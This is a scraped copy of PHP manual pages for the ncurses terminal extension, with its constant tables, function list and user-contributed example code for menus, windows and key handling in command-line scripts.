tom dot setliff at gmail dot com 17-Sep-2009 12:36
I am using php 5.2.9 on FC9 and had issues with ncurses_init() not being defined when I ran a simple script after installing with pecl.  Adding
extension ncurses.so
to my php.ini file resolved this issue. Also when installing with pecl I had some issues, they were resolved by using yum to install additional packages:
yum install ncurses-devel php-pear.
Command Line Specific Extensions
Introduction
Command Line Specific Extensions


Introduction

ncurses (new curses) is a free software emulation of curses in System V Rel 4.0 (and above). It uses terminfo format, supports pads, colors, multiple highlights, form characters and function key mapping. Because of the interactive nature of this library, it will be of little use for writing Web applications, but may be useful when writing scripts meant using PHP from the command line.

The features available, such as colors, depend on the terminal that you are using. Use functions such as ncurses_has_colors(), ncurses_can_change_color(), and ncurses_has_ic() to check for individual capabilities.

Note:

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.3.0.

ncurses is available for the following platforms:

  • AIX
  • BeOS
  • BSD variants (FreeBSD, NetBSD, OpenBSD)
  • Cygwin
  • Digital Unix (aka OSF1)
  • GNU/Linux
  • HPUX
  • IRIX64
  • Mac OS X
  • OS/2
  • QNX
  • SCO OpenServer
  • Solaris
  • Tru64

User Contributed Notes

There are no user contributed notes for this page.
Ncurses
Installing/Configuring
Ncurses


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Ncurses


Requirements

You need the ncurses libraries and headerfiles. Download the latest version from the » ftp://ftp.gnu.org/pub/gnu/ncurses/ or from an other GNU-Mirror.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/ncurses.

Wide character CRT screen handling (ncursesw) support was added in version 1.0.1 of this PECL extension.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Resource Types

This extension defines window, panel and pad resources.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

Table of Contents

  • Error codes
  • Colors
  • Keys
  • Mouse

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

User Contributed Notes

kermodebear (at) gmail dot com 19-Feb-2009 01:15
The constant STDSCR is also defined, which appears to be the resource handle for the screen generated when ncurses_init() is called.
Resource Types
Error codes
Ncurses


Error codes

On error ncurses functions return -1. Some functions return 0 on success. See the relevant pages in the documentation for actual return values.

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Colors
Predefined Constants


Colors

ncurses color constants
constant | meaning
NCURSES_COLOR_BLACK | no color (black)
NCURSES_COLOR_WHITE | white
NCURSES_COLOR_RED | red - supported when terminal is in color mode
NCURSES_COLOR_GREEN | green - supported when terminal is in color mode
NCURSES_COLOR_YELLOW | yellow - supported when terminal is in color mode
NCURSES_COLOR_BLUE | blue - supported when terminal is in color mode
NCURSES_COLOR_CYAN | cyan - supported when terminal is in color mode
NCURSES_COLOR_MAGENTA | magenta - supported when terminal is in color mode

User Contributed Notes

There are no user contributed notes for this page.
Error codes
Keys
Predefined Constants


Keys

ncurses key constants
constant | meaning
NCURSES_KEY_F0 - NCURSES_KEY_F64 | function keys F1 - F64
NCURSES_KEY_DOWN | down arrow
NCURSES_KEY_UP | up arrow
NCURSES_KEY_LEFT | left arrow
NCURSES_KEY_RIGHT | right arrow
NCURSES_KEY_HOME | home key (upward+left arrow)
NCURSES_KEY_BACKSPACE | backspace
NCURSES_KEY_DL | delete line
NCURSES_KEY_IL | insert line
NCURSES_KEY_DC | delete character
NCURSES_KEY_IC | insert char or enter insert mode
NCURSES_KEY_EIC | exit insert char mode
NCURSES_KEY_CLEAR | clear screen
NCURSES_KEY_EOS | clear to end of screen
NCURSES_KEY_EOL | clear to end of line
NCURSES_KEY_SF | scroll one line forward
NCURSES_KEY_SR | scroll one line backward
NCURSES_KEY_NPAGE | next page
NCURSES_KEY_PPAGE | previous page
NCURSES_KEY_STAB | set tab
NCURSES_KEY_CTAB | clear tab
NCURSES_KEY_CATAB | clear all tabs
NCURSES_KEY_SRESET | soft (partial) reset
NCURSES_KEY_RESET | reset or hard reset
NCURSES_KEY_PRINT | print
NCURSES_KEY_LL | lower left
NCURSES_KEY_A1 | upper left of keypad
NCURSES_KEY_A3 | upper right of keypad
NCURSES_KEY_B2 | center of keypad
NCURSES_KEY_C1 | lower left of keypad
NCURSES_KEY_C3 | lower right of keypad
NCURSES_KEY_BTAB | back tab
NCURSES_KEY_BEG | beginning
NCURSES_KEY_CANCEL | cancel
NCURSES_KEY_CLOSE | close
NCURSES_KEY_COMMAND | cmd (command)
NCURSES_KEY_COPY | copy
NCURSES_KEY_CREATE | create
NCURSES_KEY_END | end
NCURSES_KEY_EXIT | exit
NCURSES_KEY_FIND | find
NCURSES_KEY_HELP | help
NCURSES_KEY_MARK | mark
NCURSES_KEY_MESSAGE | message
NCURSES_KEY_MOVE | move
NCURSES_KEY_NEXT | next
NCURSES_KEY_OPEN | open
NCURSES_KEY_OPTIONS | options
NCURSES_KEY_PREVIOUS | previous
NCURSES_KEY_REDO | redo
NCURSES_KEY_REFERENCE | ref (reference)
NCURSES_KEY_REFRESH | refresh
NCURSES_KEY_REPLACE | replace
NCURSES_KEY_RESTART | restart
NCURSES_KEY_RESUME | resume
NCURSES_KEY_SAVE | save
NCURSES_KEY_SBEG | shiftet beg (beginning)
NCURSES_KEY_SCANCEL | shifted cancel
NCURSES_KEY_SCOMMAND | shifted command
NCURSES_KEY_SCOPY | shifted copy
NCURSES_KEY_SCREATE | shifted create
NCURSES_KEY_SDC | shifted delete char
NCURSES_KEY_SDL | shifted delete line
NCURSES_KEY_SELECT | select
NCURSES_KEY_SEND | shifted end
NCURSES_KEY_SEOL | shifted end of line
NCURSES_KEY_SEXIT | shifted exit
NCURSES_KEY_SFIND | shifted find
NCURSES_KEY_SHELP | shifted help
NCURSES_KEY_SHOME | shifted home
NCURSES_KEY_SIC | shifted input
NCURSES_KEY_SLEFT | shifted left arrow
NCURSES_KEY_SMESSAGE | shifted message
NCURSES_KEY_SMOVE | shifted move
NCURSES_KEY_SNEXT | shifted next
NCURSES_KEY_SOPTIONS | shifted options
NCURSES_KEY_SPREVIOUS | shifted previous
NCURSES_KEY_SPRINT | shifted print
NCURSES_KEY_SREDO | shifted redo
NCURSES_KEY_SREPLACE | shifted replace
NCURSES_KEY_SRIGHT | shifted right arrow
NCURSES_KEY_SRSUME | shifted resume
NCURSES_KEY_SSAVE | shifted save
NCURSES_KEY_SSUSPEND | shifted suspend
NCURSES_KEY_UNDO | undo
NCURSES_KEY_MOUSE | mouse event has occurred
NCURSES_KEY_MAX | maximum key value

User Contributed Notes

There are no user contributed notes for this page.
Colors
Mouse
Predefined Constants


Mouse

mouse constants
Constant | meaning
NCURSES_BUTTON1_RELEASED - NCURSES_BUTTON4_RELEASED | button (1-4) released
NCURSES_BUTTON1_PRESSED - NCURSES_BUTTON4_PRESSED | button (1-4) pressed
NCURSES_BUTTON1_CLICKED - NCURSES_BUTTON4_CLICKED | button (1-4) clicked
NCURSES_BUTTON1_DOUBLE_CLICKED - NCURSES_BUTTON4_DOUBLE_CLICKED | button (1-4) double clicked
NCURSES_BUTTON1_TRIPLE_CLICKED - NCURSES_BUTTON4_TRIPLE_CLICKED | button (1-4) triple clicked
NCURSES_BUTTON_CTRL | ctrl pressed during click
NCURSES_BUTTON_SHIFT | shift pressed during click
NCURSES_BUTTON_ALT | alt pressed during click
NCURSES_ALL_MOUSE_EVENTS | report all mouse events
NCURSES_REPORT_MOUSE_POSITION | report mouse position

User Contributed Notes

There are no user contributed notes for this page.
Keys
Ncurses Functions
Predefined Constants


Ncurses Functions

Table of Contents

  • ncurses_addch — Add character at current position and advance cursor
  • ncurses_addchnstr — Add attributed string with specified length at current position
  • ncurses_addchstr — Add attributed string at current position
  • ncurses_addnstr — Add string with specified length at current position
  • ncurses_addstr — Output text at current position
  • ncurses_assume_default_colors — Define default colors for color 0
  • ncurses_attroff — Turn off the given attributes
  • ncurses_attron — Turn on the given attributes
  • ncurses_attrset — Set given attributes
  • ncurses_baudrate — Returns baudrate of terminal
  • ncurses_beep — Let the terminal beep
  • ncurses_bkgd — Set background property for terminal screen
  • ncurses_bkgdset — Control screen background
  • ncurses_border — Draw a border around the screen using attributed characters
  • ncurses_bottom_panel — Moves a visible panel to the bottom of the stack
  • ncurses_can_change_color — Checks if terminal color definitions can be changed
  • ncurses_cbreak — Switch of input buffering
  • ncurses_clear — Clear screen
  • ncurses_clrtobot — Clear screen from current position to bottom
  • ncurses_clrtoeol — Clear screen from current position to end of line
  • ncurses_color_content — Retrieves RGB components of a color
  • ncurses_color_set — Set active foreground and background colors
  • ncurses_curs_set — Set cursor state
  • ncurses_def_prog_mode — Saves terminals (program) mode
  • ncurses_def_shell_mode — Saves terminals (shell) mode
  • ncurses_define_key — Define a keycode
  • ncurses_del_panel — Remove panel from the stack and delete it (but not the associated window)
  • ncurses_delay_output — Delay output on terminal using padding characters
  • ncurses_delch — Delete character at current position, move rest of line left
  • ncurses_deleteln — Delete line at current position, move rest of screen up
  • ncurses_delwin — Delete a ncurses window
  • ncurses_doupdate — Write all prepared refreshes to terminal
  • ncurses_echo — Activate keyboard input echo
  • ncurses_echochar — Single character output including refresh
  • ncurses_end — Stop using ncurses, clean up the screen
  • ncurses_erase — Erase terminal screen
  • ncurses_erasechar — Returns current erase character
  • ncurses_filter — Set LINES for iniscr() and newterm() to 1
  • ncurses_flash — Flash terminal screen (visual bell)
  • ncurses_flushinp — Flush keyboard input buffer
  • ncurses_getch — Read a character from keyboard
  • ncurses_getmaxyx — Returns the size of a window
  • ncurses_getmouse — Reads mouse event
  • ncurses_getyx — Returns the current cursor position for a window
  • ncurses_halfdelay — Put terminal into halfdelay mode
  • ncurses_has_colors — Checks if terminal has color capabilities
  • ncurses_has_ic — Check for insert- and delete-capabilities
  • ncurses_has_il — Check for line insert- and delete-capabilities
  • ncurses_has_key — Check for presence of a function key on terminal keyboard
  • ncurses_hide_panel — Remove panel from the stack, making it invisible
  • ncurses_hline — Draw a horizontal line at current position using an attributed character and max. n characters long
  • ncurses_inch — Get character and attribute at current position
  • ncurses_init_color — Define a terminal color
  • ncurses_init_pair — Define a color pair
  • ncurses_init — Initialize ncurses
  • ncurses_insch — Insert character moving rest of line including character at current position
  • ncurses_insdelln — Insert lines before current line scrolling down (negative numbers delete and scroll up)
  • ncurses_insertln — Insert a line, move rest of screen down
  • ncurses_insstr — Insert string at current position, moving rest of line right
  • ncurses_instr — Reads string from terminal screen
  • ncurses_isendwin — Ncurses is in endwin mode, normal screen output may be performed
  • ncurses_keyok — Enable or disable a keycode
  • ncurses_keypad — Turns keypad on or off
  • ncurses_killchar — Returns current line kill character
  • ncurses_longname — Returns terminals description
  • ncurses_meta — Enables/Disable 8-bit meta key information
  • ncurses_mouse_trafo — Transforms coordinates
  • ncurses_mouseinterval — Set timeout for mouse button clicks
  • ncurses_mousemask — Sets mouse options
  • ncurses_move_panel — Moves a panel so that its upper-left corner is at [startx, starty]
  • ncurses_move — Move output position
  • ncurses_mvaddch — Move current position and add character
  • ncurses_mvaddchnstr — Move position and add attributed string with specified length
  • ncurses_mvaddchstr — Move position and add attributed string
  • ncurses_mvaddnstr — Move position and add string with specified length
  • ncurses_mvaddstr — Move position and add string
  • ncurses_mvcur — Move cursor immediately
  • ncurses_mvdelch — Move position and delete character, shift rest of line left
  • ncurses_mvgetch — Move position and get character at new position
  • ncurses_mvhline — Set new position and draw a horizontal line using an attributed character and max. n characters long
  • ncurses_mvinch — Move position and get attributed character at new position
  • ncurses_mvvline — Set new position and draw a vertical line using an attributed character and max. n characters long
  • ncurses_mvwaddstr — Add string at new position in window
  • ncurses_napms — Sleep
  • ncurses_new_panel — Create a new panel and associate it with window
  • ncurses_newpad — Creates a new pad (window)
  • ncurses_newwin — Create a new window
  • ncurses_nl — Translate newline and carriage return / line feed
  • ncurses_nocbreak — Switch terminal to cooked mode
  • ncurses_noecho — Switch off keyboard input echo
  • ncurses_nonl — Do not translate newline and carriage return / line feed
  • ncurses_noqiflush — Do not flush on signal characters
  • ncurses_noraw — Switch terminal out of raw mode
  • ncurses_pair_content — Retrieves foreground and background colors of a color pair
  • ncurses_panel_above — Returns the panel above panel
  • ncurses_panel_below — Returns the panel below panel
  • ncurses_panel_window — Returns the window associated with panel
  • ncurses_pnoutrefresh — Copies a region from a pad into the virtual screen
  • ncurses_prefresh — Copies a region from a pad into the virtual screen
  • ncurses_putp — Apply padding information to the string and output it
  • ncurses_qiflush — Flush on signal characters
  • ncurses_raw — Switch terminal into raw mode
  • ncurses_refresh — Refresh screen
  • ncurses_replace_panel — Replaces the window associated with panel
  • ncurses_reset_prog_mode — Resets the prog mode saved by def_prog_mode
  • ncurses_reset_shell_mode — Resets the shell mode saved by def_shell_mode
  • ncurses_resetty — Restores saved terminal state
  • ncurses_savetty — Saves terminal state
  • ncurses_scr_dump — Dump screen content to file
  • ncurses_scr_init — Initialize screen from file dump
  • ncurses_scr_restore — Restore screen from file dump
  • ncurses_scr_set — Inherit screen from file dump
  • ncurses_scrl — Scroll window content up or down without changing current position
  • ncurses_show_panel — Places an invisible panel on top of the stack, making it visible
  • ncurses_slk_attr — Returns current soft label key attribute
  • ncurses_slk_attroff — Turn off the given attributes for soft function-key labels
  • ncurses_slk_attron — Turn on the given attributes for soft function-key labels
  • ncurses_slk_attrset — Set given attributes for soft function-key labels
  • ncurses_slk_clear — Clears soft labels from screen
  • ncurses_slk_color — Sets color for soft label keys
  • ncurses_slk_init — Initializes soft label key functions
  • ncurses_slk_noutrefresh — Copies soft label keys to virtual screen
  • ncurses_slk_refresh — Copies soft label keys to screen
  • ncurses_slk_restore — Restores soft label keys
  • ncurses_slk_set — Sets function key labels
  • ncurses_slk_touch — Forces output when ncurses_slk_noutrefresh is performed
  • ncurses_standend — Stop using 'standout' attribute
  • ncurses_standout — Start using 'standout' attribute
  • ncurses_start_color — Initializes color functionality
  • ncurses_termattrs — Returns a logical OR of all attribute flags supported by terminal
  • ncurses_termname — Returns terminals (short)-name
  • ncurses_timeout — Set timeout for special key sequences
  • ncurses_top_panel — Moves a visible panel to the top of the stack
  • ncurses_typeahead — Specify different filedescriptor for typeahead checking
  • ncurses_ungetch — Put a character back into the input stream
  • ncurses_ungetmouse — Pushes mouse event to queue
  • ncurses_update_panels — Refreshes the virtual screen to reflect the relations between panels in the stack
  • ncurses_use_default_colors — Assign terminal default colors to color id -1
  • ncurses_use_env — Control use of environment information about terminal size
  • ncurses_use_extended_names — Control use of extended names in terminfo descriptions
  • ncurses_vidattr — Display the string on the terminal in the video attribute mode
  • ncurses_vline — Draw a vertical line at current position using an attributed character and max. n characters long
  • ncurses_waddch — Adds character at current position in a window and advance cursor
  • ncurses_waddstr — Outputs text at current postion in window
  • ncurses_wattroff — Turns off attributes for a window
  • ncurses_wattron — Turns on attributes for a window
  • ncurses_wattrset — Set the attributes for a window
  • ncurses_wborder — Draws a border around the window using attributed characters
  • ncurses_wclear — Clears window
  • ncurses_wcolor_set — Sets windows color pairings
  • ncurses_werase — Erase window contents
  • ncurses_wgetch — Reads a character from keyboard (window)
  • ncurses_whline — Draws a horizontal line in a window at current position using an attributed character and max. n characters long
  • ncurses_wmouse_trafo — Transforms window/stdscr coordinates
  • ncurses_wmove — Moves windows output position
  • ncurses_wnoutrefresh — Copies window to virtual screen
  • ncurses_wrefresh — Refresh window on terminal screen
  • ncurses_wstandend — End standout mode for a window
  • ncurses_wstandout — Enter standout mode for a window
  • ncurses_wvline — Draws a vertical line in a window at current position using an attributed character and max. n characters long

User Contributed Notes

g_a at freemail dot deletethispart dot hu 02-Feb-2006 06:03
To determine screen width and height without any external (OS specific) commands, I use:

<?php
ncurses_init();
$fullscreen = ncurses_newwin ( 0, 0, 0, 0);
ncurses_getmaxyx($fullscreen,&$a,&$b);
ncurses_end();
echo "Width:$b\nHeight:$a\n";
?>
krzysztof dot gorzelak at gmail dot com 05-Nov-2005 02:36
Here is a small example, how to use STDIN to read keys combinations in console.

$stdin = fopen('php://stdin', 'r');
stream_set_timeout($stdin, 1);
while (1) {
  $temp="";
    while (1) {
      if(stream_select($read = array($stdin), $write = NULL, $except = NULL, 0))
        $temp .= ord(fgetc($stdin));
      else break;
    }

    // F1 : $temp == 27914949126
    // ALT+F1 : $temp = 2727914949126
    // ....

    usleep("50000");
}
kermodebear at kermodebear dot org 17-Jun-2004 12:27
An implementation of a scrolling selection box:

<?php
function ncurses_menu_select( $options, $values, $max_height = 7, $max_width = 20, $y = 2, $x = 2 ) {
        // Size inside of borders
        $height = $max_height - 2;
        $width  = $max_width  - 2;

        // Number of options
        $num_options = count( $options );

        // Trim all values to fit
        foreach( $options as $key => $value ) {
                $options[ $key ] = substr( $value, 0, $width );
        }

        // Create Window
        $menu_window = ncurses_newwin( $max_height, $max_width, $y, $x );
        ncurses_wborder( $menu_window, 0, 0, 0, 0, 0, 0, 0, 0 );

        // Initialize Window
        $current = 0; // Currently selected
        $position = 1; // Position in list
        $topitem = 0; // Top menu item
        for ( $a = 0; $a < min( $height, $num_options ); $a++ ) {
                if ( $a == $current ) {
                        ncurses_wattron( $menu_window, NCURSES_A_REVERSE );
                        ncurses_mvwaddstr( $menu_window, 1 + $a, 1, $options[ $a ] );
                        ncurses_wattroff( $menu_window, NCURSES_A_REVERSE );
                } else {
                        ncurses_mvwaddstr( $menu_window, 1 + $a, 1, $options[ $a ] );
                }
        }
        ncurses_mvwaddstr( $menu_window, 1, 0, '*' );
        ncurses_wrefresh( $menu_window );
        // Loop until a selection is made
        while( ! in_array( $key = ncurses_getch( $menu_window ), array( 13, 10 ) ) ) {
                if ( $key == NCURSES_KEY_UP && $current > 0 ) {
                        $move = -1;
                } else if ( $key == NCURSES_KEY_DOWN && $current < $num_options - 1 ) {
                        $move = 1;
                } else {
                        continue;
                }

                $current += $move;
                $position += $move;
                // If we scroll off the window, redraw items.
                if ( $position < 1 || $position > $height ) {
                        if ( $position < 1 ) {
                                $position = 1;
                        } else {
                                $position = $height;
                        }
                        $topitem += $move;
                        for ( $a = 1; $a <= $height; $a++ ) {
                                ncurses_mvwaddstr( $menu_window, $a, 1, str_repeat( ' ', $width ) );
                                if ( $a == $position ) {
                                        ncurses_wattron( $menu_window, NCURSES_A_REVERSE );
                                        ncurses_mvwaddstr( $menu_window, $a, 1, $options[ $topitem + $a - 1 ] );
                                        ncurses_wattroff( $menu_window, NCURSES_A_REVERSE );
                                } else {
                                        ncurses_mvwaddstr( $menu_window, $a, 1, $options[ $topitem + $a - 1 ] );
                                }
                        }
                } else { // Just update changed items
                        ncurses_wattron( $menu_window, NCURSES_A_REVERSE );
                        ncurses_mvwaddstr( $menu_window, $position, 1, $options[ $current ] );
                        ncurses_wattroff( $menu_window, NCURSES_A_REVERSE );
                        ncurses_mvwaddstr( $menu_window, $position - $move, 1, $options[ $current - $move ] );
                }
                // Update 'scroll bar dot'
                ncurses_wborder( $menu_window, 0, 0, 0, 0, 0, 0, 0, 0 );
                $dot_position = round ( ( $current / $num_options ) * ( $height - 1 ) );
                ncurses_mvwaddstr( $menu_window, 1 + $dot_position, 0, '*' );

                ncurses_wrefresh( $menu_window );
        }
        return $values[ $current ];
}

?>
kermodebear at kermodebear dot org 16-Jun-2004 10:21
Not calling ncurses_end() can (will) cause issues with terminals. Although registering a shutdown function which includes ncurses_end() may help, sometimes things go awry and you're stuck with a terminal that is acting in strange ways.

This can be fixed! *NIX systems (FreeBSD, Linux, UNIX, et al.) usually support the 'reset' command which resets the terminal settings and allows you to get things back to normal.
kermodebear at kermodebear dot org 16-Jun-2004 10:17
Here is a function that takes an associative array, presents a menu in a new window, allows the user to make a choice using up and down arrows and the enter key, and returns the value of the menu item.

Limitations include:
No way of scrolling a long list, either horiontally or vertically;
No arguments for placement on screen, although this is easy to add;
No multiple selection;
Will produce all kinds of errors and warnings if the terminal is smaller than is necessary to create the window.

I'm very new at using the ncurses library; Comments and improvements would be greatly appreciated!

<?php
/**
 * Create a simple selection menu
 * @param array Associative array; The value will be shown on the menu, while the key will be returned when the associated value is selected.
 * @return mixed
 */
function ncurses_menu_select( $menu ) {
        $keys = array_keys( $menu );
        $values = array_values( $menu );

        $height = $width = 0;
        $height = count( $menu ) + 2;
        foreach( $values as $value ) {
                $width = max( $width, strlen( $value ) + 2 );
        }

        $menu_window = ncurses_newwin( $height, $width, 5, 5 );
        ncurses_wborder( $menu_window, 0,0, 0,0, 0,0, 0,0 );

        $current = 0;
        for( $a = 0; $a < count( $values ); $a++ ) {
                if ( $a == $current ) {
                        ncurses_wattron( $menu_window, NCURSES_A_REVERSE );
                        ncurses_mvwaddstr( $menu_window, 1 + $a, 1, $values[ $a ] );
                        ncurses_wattroff( $menu_window, NCURSES_A_REVERSE );
                } else {
                        ncurses_mvwaddstr( $menu_window, 1 + $a, 1, $values[ $a ] );
                }
        }
        ncurses_wrefresh( $menu_window );

        while( ! in_array( $key = ncurses_getch( $menu_window ), array( 13, 10 ) ) ) {
                if ( $key == NCURSES_KEY_UP AND $current > 0 ) {
                        $move = -1;
                } else if ( $key == NCURSES_KEY_DOWN and $current < count( $values ) - 1 ) {
                        $move = 1;
                } else {
                        $move = 0;
                }
                ncurses_mvwaddstr( $menu_window, 1 + $current, 1, $values[ $current ] );
                $current += $move;
                ncurses_wattron( $menu_window, NCURSES_A_REVERSE );
                ncurses_mvwaddstr( $menu_window, 1 + $current, 1, $values[ $current ] );
                ncurses_wattroff( $menu_window, NCURSES_A_REVERSE );
                ncurses_wrefresh( $menu_window );
        }
        ncurses_delwin( $menu_window );
        return $keys[ $current ];
}
?>

Example Use:

<?php
// Initialie ncurses
$ncurse = ncurses_init();
// A full screen window
$fullscreen = ncurses_newwin ( 0, 0, 0, 0);
// Add a pretty border
ncurses_border(0,0, 0,0, 0,0, 0,0);
// Draw everything so far
ncurses_refresh();

// Set up menu array
$menu_items = array(
        'one'   => 'Menu Item #1',
        'two'   => 'Menu Item #2',
        'three' => 'Menu Item #3' );
// Display menu and return selection
$selection = ncurses_menu_select( $menu_items );

// Print selection
ncurses_mvaddstr( 1, 1, 'You selected ' . $menu_items[$selection] . ' with the value ' . $selection );

// Draw updates
ncurses_refresh( $fullscreen );
// End
ncurses_end();
?>
Habib Valanejad 24-Feb-2004 09:46
What if you want to draw a new window and after removing it, showing the pervious screen again? Unfortunately, there is no such a thing in php/ncurses as there is in original curses library (touchwin if I'm not mistaken - It has been a long time!).
However, you can do this by a simple trick! You can
dump the screen to a temp file and then restore it back
again!
Take a look at this function:

# Function: show_a_win()
# - Displays a small window and writes something in it.
# - waits for a key
# - shows the pervious screen again
function show_a_win()
{
   # Dump the current screen into a temp file:
   $tmpfile = tempnam("/tmp", "dump.");
   # Create a new window.
   $newwin = ncurses_newwin(4, 60, 10, 10);
   # Write something and then refresh it
   ncurses_mvwaddstr($newwin, 1, 1, "This is a test.");
   ncurses_wrefresh($newwin);
   # Wait for a key
   ncurses_wgetch($newwin);
   ncurses_delwin($newwin);  /* delete the window */
   /* Restore the screen the same way it was before entering
    * into the function:
    */
   ncurses_scr_restore($tmpfile);
   unlink($tmpfile);   /* Remove temp file */
}
Habib Valanejad 11-Dec-2003 02:30
Here is a function which would do the job for missing
ncurses_wclrtoeol() function:
/* wclrtoeol()
 * Erases  the  current line to the right of the cursor
*/
function wclrtoeol($win)
{
   # get current position
   ncurses_getyx($win, &$crow, &$ccol);
   # get maximum row and col for this window:
   ncurses_getmaxyx($win, &$max_row, &$max_col);
   for ($col = $ccol; $col < $max_col; $col ++){
      ncurses_wmove($win, $crow, $col);
      ncurses_waddch($win, 32);
   }
}
rainman at darkwired dot org 31-Jul-2003 04:55
This is not meant as spam to get people to use my client.

I have been working on a PHP4 IRC client with ncurses interface and I think it is a useful example of how ncurses with php could be used.
It is GPL licensed so you can just go and take a loot at it.

It can be found at http://torc.sourceforge.net or http://www.darkwired.org/projects/torc/

I hope this will help out some of you because php ncurses can be quite difficult I experienced :]

For any questions about the code you can ofcourse just mail me.
Habib Valanejad 25-Jun-2003 02:50
I had a small problem building php+ncurses support.
ncurses include files were installed in:
ncurses_installed_dir/include/ncurses
This caused problems when building php with ncurse support.
php was looking for include files in:
ncurses_installed_dir/include
However, include files were located in include/ncurses

I had to make symbolic links of files in ncurses directory so php could see them:
# cd ncurses_insalled_directory/include
# ln -s ncurses/* .
After that it worked.
Habib Valanejad 27-Mar-2003 06:13
For those of you who want to check if <ENTER> key is passed,
you have to check the key agains both NL and CR keys:

function get_str()
{
   for ($str = "";;){
      $key = ncurses_getch();
      switch ($key){
        case 10:   // newline
        case 13:   // Carrige Return
           return($str);
        default:
           $str .= chr($key);
            ncurses_refresh();
      } // switch
   } // for
} // get_str()

Hope that would help.
24-Mar-2003 07:18
In the example above, if you run resize from a C shell it will output the sizes in C shell syntax, run resize with -u to force Bourne syntax:
The $win parameter is just for future compatibility.

function ncurses_getmaxyx($win, &$y, &$x)
{
        exec("/usr/X11R6/bin/resize -u", $output);
        $cols = explode("=", $output[0]);
        $rows = explode("=", $output[1]);
        $x = intval($cols[1]);
        $y = intval($rows[1]);
}
joeldegan AT yahoo.com 15-Dec-2002 12:26
See the documentation for ncurses_border and ncurses_wrefresh for some more examples of doing windowing and dynamic sizing.. I also posted some information to the zend.com code-gallery for doing ncurses under php.
joeldegan AT yahoo.com 14-Dec-2002 03:10
I noticed a lack of a getxy() function so I wrote one.
You may need to change the path for your resize cmd.

<?
function getxy(){
    $rez = `/usr/X11R6/bin/resize`;
    $rez = explode("\n",$rez);
    while(list($key,$val)=each($rez)){
        $a=explode("=",$val);
        if(trim($a[0])=="COLUMNS"){ $COLUMNS = $a[1]; }
        if(trim($a[0])=="LINES"){ $LINES = $a[1]; }
    }//
    $retval[0]=$COLUMNS;
    $retval[1]=$LINES;
   return $retval;
}

print_r(getxy());
?>
joeldegan AT yahoo.com 14-Dec-2002 02:37
This is from the examples that come with the latest release.

From:
php-4.3.0RC3/ext/ncurses/example1.php

I found this useful...

<?php
$n=0;
ncurses_init();
if(ncurses_has_colors()){
ncurses_start_color();
        ncurses_init_pair(1,NCURSES_COLOR_RED,NCURSES_COLOR_BLACK);
        ncurses_init_pair(2,NCURSES_COLOR_GREEN,NCURSES_COLOR_BLACK);
        ncurses_init_pair(3,NCURSES_COLOR_YELLOW,NCURSES_COLOR_BLACK);
        ncurses_init_pair(4,NCURSES_COLOR_BLUE,NCURSES_COLOR_BLACK);
        ncurses_init_pair(5,NCURSES_COLOR_MAGENTA,NCURSES_COLOR_BLACK);
        ncurses_init_pair(6,NCURSES_COLOR_CYAN,NCURSES_COLOR_BLACK);
        ncurses_init_pair(7,NCURSES_COLOR_WHITE,NCURSES_COLOR_BLACK);
}
while(1){
for ($x=0; $x<80; $x++) {
for ($y=0; $y<24; $y++) {
  $n++;
  ncurses_move($y,$x);
  ncurses_addch($n+64);
  ncurses_color_set($n%8);
  ncurses_refresh();
  if($n>26)$n=0;
}
}
ncurses_getch();
}
?>
joeldegan AT yahoo.com 13-Dec-2002 10:56
actually *that* example does not work...
here is one that I took and trimmed down from the ncurses examples.
I will do some more and post them here..

<?
ncurses_init();
##############################################
ncurses_noecho();

    $large = ncurses_newwin(20, 60, 2, 10);
    $small = ncurses_newwin(10, 30, 7, 25);

    ncurses_refresh();
    ncurses_wrefresh($large);
    ncurses_wrefresh($small);

    ncurses_mvwaddstr($small, 5, 5, "   Test  String   ");
    ncurses_wrefresh($small);
    ncurses_getch();

##############################################
ncurses_end(); // Clean up, and quit
?>

This is from PHP 4.3.0RC0 compiled with the following flags..
./configure --prefix=/wwwroot/php --with-config-file-path=/wwwroot/php --with-mysql --enable-pcntl --with-tsrm-pthreads --enable-sysvsem --enable-sysvshm --with-curl --enable-bcmath --enable-sigchild --enable-sockets --with-ncurses
nweeks at utas dot edu dot au 07-Nov-2002 04:43
With your CGI version of PHP compiled with ncurses support, console apps are amazingly easy!

For example:
whack the following into a file, chmod +x it, and run it.

#!/usr/local/bin/php -q
<?php
ncurses_init();
ncurses_border(25,25,18,18,24,24,23,23); // Do a lovely border
ncurses_move(1,1); // Start top left(inside border)
ncurses_addstr("Welcome to NCurses");
ncurses_addstr(" with PHP!");
ncurses_refresh(); // Send buffer to screen
ncurses_end(); // Clean up, and quit
?&gt;

You'll notice the second addstr simply tacks onto the first.
Mouse
ncurses_addch
Ncurses


Add character at current position and advance cursor

Ncurses Functions
ncurses_addchnstr
Ncurses Functions
PHP Manual

ncurses_addch

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_addch — Add character at current position and advance cursor

Description

int ncurses_addch ( int $ch )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

ch

User Contributed Notes

There are no user contributed notes for this page.
Ncurses Functions
ncurses_addchnstr
Ncurses Functions


Add attributed string with specified length at current position

ncurses_addch
ncurses_addchstr
Ncurses Functions
PHP Manual

ncurses_addchnstr

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_addchnstr — Add attributed string with specified length at current position

Description

int ncurses_addchnstr ( string $s , int $n )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

s

n

User Contributed Notes

There are no user contributed notes for this page.
ncurses_addch
ncurses_addchstr
